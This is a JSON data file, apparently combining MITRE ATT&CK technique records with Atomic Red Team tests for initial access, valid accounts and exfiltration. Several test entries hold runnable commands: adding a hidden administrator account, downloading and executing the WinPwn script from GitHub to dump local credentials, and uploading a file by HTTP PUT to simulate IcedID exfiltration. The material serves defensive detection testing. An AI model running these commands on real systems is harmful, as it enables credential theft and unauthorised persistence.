- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1189": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
- "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1189",
- "url": "https://attack.mitre.org/techniques/T1189"
- },
- {
- "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/",
- "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.",
- "source_name": "Shadowserver Strategic Web Compromise"
- },
- {
- "source_name": "Volexity OceanLotus Nov 2017",
- "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
- "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
- }
- ],
- "modified": "2022-03-08T21:11:47.798Z",
- "name": "Drive-by Compromise",
- "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
- "x_mitre_version": "1.4",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Process: Process Creation",
- "Network Traffic: Network Traffic Content",
- "File: File Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1078.004": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65",
- "created": "2020-03-13T20:36:57.378Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.004",
- "url": "https://attack.mitre.org/techniques/T1078/004"
- },
- {
- "source_name": "AWS Identity Federation",
- "url": "https://aws.amazon.com/identity/federation/",
- "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020."
- },
- {
- "source_name": "Google Federating GC",
- "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction",
- "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Deploying AD Federation",
- "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs",
- "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.",
- "modified": "2022-04-19T20:23:33.894Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Valid Accounts: Cloud Accounts",
- "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1078.004"
- },
- "atomic_tests": []
- },
- "T1566.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317",
- "type": "attack-pattern",
- "created": "2020-03-02T19:24:00.951Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1566.003",
- "url": "https://attack.mitre.org/techniques/T1566/003"
- },
- {
- "external_id": "CAPEC-163",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/163.html"
- }
- ],
- "modified": "2020-10-18T01:55:02.988Z",
- "name": "Spearphishing via Service",
- "description": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "Application Log: Application Log Content"
- ]
- },
- "atomic_tests": []
- },
- "T1078.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
- "type": "attack-pattern",
- "created": "2020-03-13T20:26:46.695Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.003",
- "url": "https://attack.mitre.org/techniques/T1078/003"
- }
- ],
- "modified": "2021-10-18T17:45:48.323Z",
- "name": "Valid Accounts: Local Accounts",
- "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1078.003"
- },
- "atomic_tests": [
- {
- "name": "Create local account with admin privileges",
- "auto_generated_guid": "a524ce99-86de-4db6-b4f9-e08f35a47a15",
- "description": "After execution the new account will be active and added to the Administrators group",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "password": {
- "description": "Password for art-test user",
- "type": "string",
- "default": "-4RTisCool!-321"
- }
- },
- "executor": {
- "command": "net user art-test /add\nnet user art-test #{password}\nnet localgroup administrators art-test /add",
- "cleanup_command": "net localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - powerhell kittie",
- "auto_generated_guid": "9e9fd066-453d-442f-88c1-ad7911d32912",
- "description": "Loot local Credentials - powerhell kittie technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - Safetykatz",
- "auto_generated_guid": "e9fdb899-a980-4ba4-934b-486ad22e22f4",
- "description": "Loot local Credentials - Safetykatz technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- }
- }
- },
- {
- "category": "exfiltration",
- "data": {
- "T1567": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807",
- "type": "attack-pattern",
- "created": "2020-03-09T12:51:45.570Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1567",
- "url": "https://attack.mitre.org/techniques/T1567"
- }
- ],
- "modified": "2021-10-15T22:50:29.607Z",
- "name": "Exfiltration Over Web Service",
- "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "File: File Access"
- ]
- },
- "atomic_tests": []
- },
- "T1029": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:34.139Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1029",
- "external_id": "T1029"
- }
- ],
- "modified": "2020-03-28T00:26:48.769Z",
- "name": "Scheduled Transfer",
- "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow"
- ]
- },
- "atomic_tests": []
- },
- "T1011": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Itzik Kotler, SafeBreach"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:25.159Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1011",
- "external_id": "T1011"
- }
- ],
- "modified": "2022-03-08T21:02:16.115Z",
- "name": "Exfiltration Over Other Network Medium",
- "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Command: Command Execution",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "File: File Access"
- ]
- },
- "atomic_tests": []
- },
- "T1011.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd",
- "type": "attack-pattern",
- "created": "2020-03-09T17:07:57.392Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1011.001",
- "url": "https://attack.mitre.org/techniques/T1011/001"
- }
- ],
- "modified": "2022-03-08T21:02:15.802Z",
- "name": "Exfiltration Over Bluetooth",
- "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "File: File Access",
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1020": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ExtraHop"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
- "created": "2017-05-31T21:30:29.458Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1020",
- "url": "https://attack.mitre.org/techniques/T1020"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
- "modified": "2022-04-19T22:50:14.956Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Automated Exfiltration",
- "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Command: Command Execution",
- "File: File Access",
- "Script: Script Execution",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1020"
- },
- "atomic_tests": [
- {
- "name": "IcedID Botnet HTTP PUT",
- "auto_generated_guid": "9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0",
- "description": "Creates a text file\nTries to upload to a server via HTTP PUT method with ContentType Header\nDeletes a created file",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file": {
- "description": "Exfiltration File",
- "type": "string",
- "default": "C:\\temp\\T1020_exfilFile.txt"
- },
- "domain": {
- "description": "Destination Domain",
- "type": "url",
- "default": "https://google.com"
- }
- },
- "executor": {
- "command": "$fileName = \"#{file}\"\n$url = \"#{domain}\"\n$file = New-Item -Force $fileName -Value \"This is ART IcedID Botnet Exfil Test\"\n$contentType = \"application/octet-stream\"\ntry {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}",
- "cleanup_command": "$fileName = \"#{file}\"\nRemove-Item -Path $fileName -ErrorAction Ignore",
- "name": "powershell"
- }
- }
- ]
- },
- "T1048.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c",
- "type": "attack-pattern",
- "created": "2020-03-15T15:30:42.378Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1048.001",
- "url": "https://attack.mitre.org/techniques/T1048/001"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-28T00:43:24.228Z",
- "name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol",
- "description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "File: File Access"
- ]
- },
- "atomic_tests": []
- },
- "T1020.001": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
- "created": "2020-10-19T13:40:11.118Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1020.001",
- "url": "https://attack.mitre.org/techniques/T1020/001"
- },
- {
- "source_name": "Cisco Traffic Mirroring",
- "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html",
- "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020."
- },
- {
- "source_name": "Juniper Traffic Mirroring",
- "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html",
- "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/117.html",
- "source_name": "capec",
- "external_id": "CAPEC-117"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
